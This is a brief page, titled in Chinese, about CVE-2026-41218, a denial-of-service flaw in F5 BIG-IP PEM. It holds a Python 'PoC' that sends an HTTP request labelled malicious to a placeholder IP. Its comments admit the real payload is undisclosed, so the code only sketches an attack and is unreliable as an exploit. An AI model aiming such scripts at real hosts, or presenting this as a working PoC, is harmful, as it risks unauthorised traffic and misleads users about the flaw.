CVE-2026-41218 BIG-IP PEM iRules TMM拒绝服务漏洞

import socket # PoC for CVE-2026-41218: F5 BIG-IP PEM TMM Denial of Service # This script demonstrates the concept of sending traffic to trigger the crash. # Note: The specific payload pattern is undisclosed. def send_malicious_traffic(target_ip, target_port): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Connect to the target virtual server s.connect((target_ip, target_port)) # Construct a payload that targets the PEM iRules parsing logic # In a real scenario, this would be the specific 'undisclosed traffic' payload = b"GET / HTTP/1.1\r\nHost: " + b"X" * 100 + b"\r\n\r\n" # Send payload s.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP and Port target_ip = "192.168.1.100" target_port = 80 send_malicious_traffic(target_ip, target_port)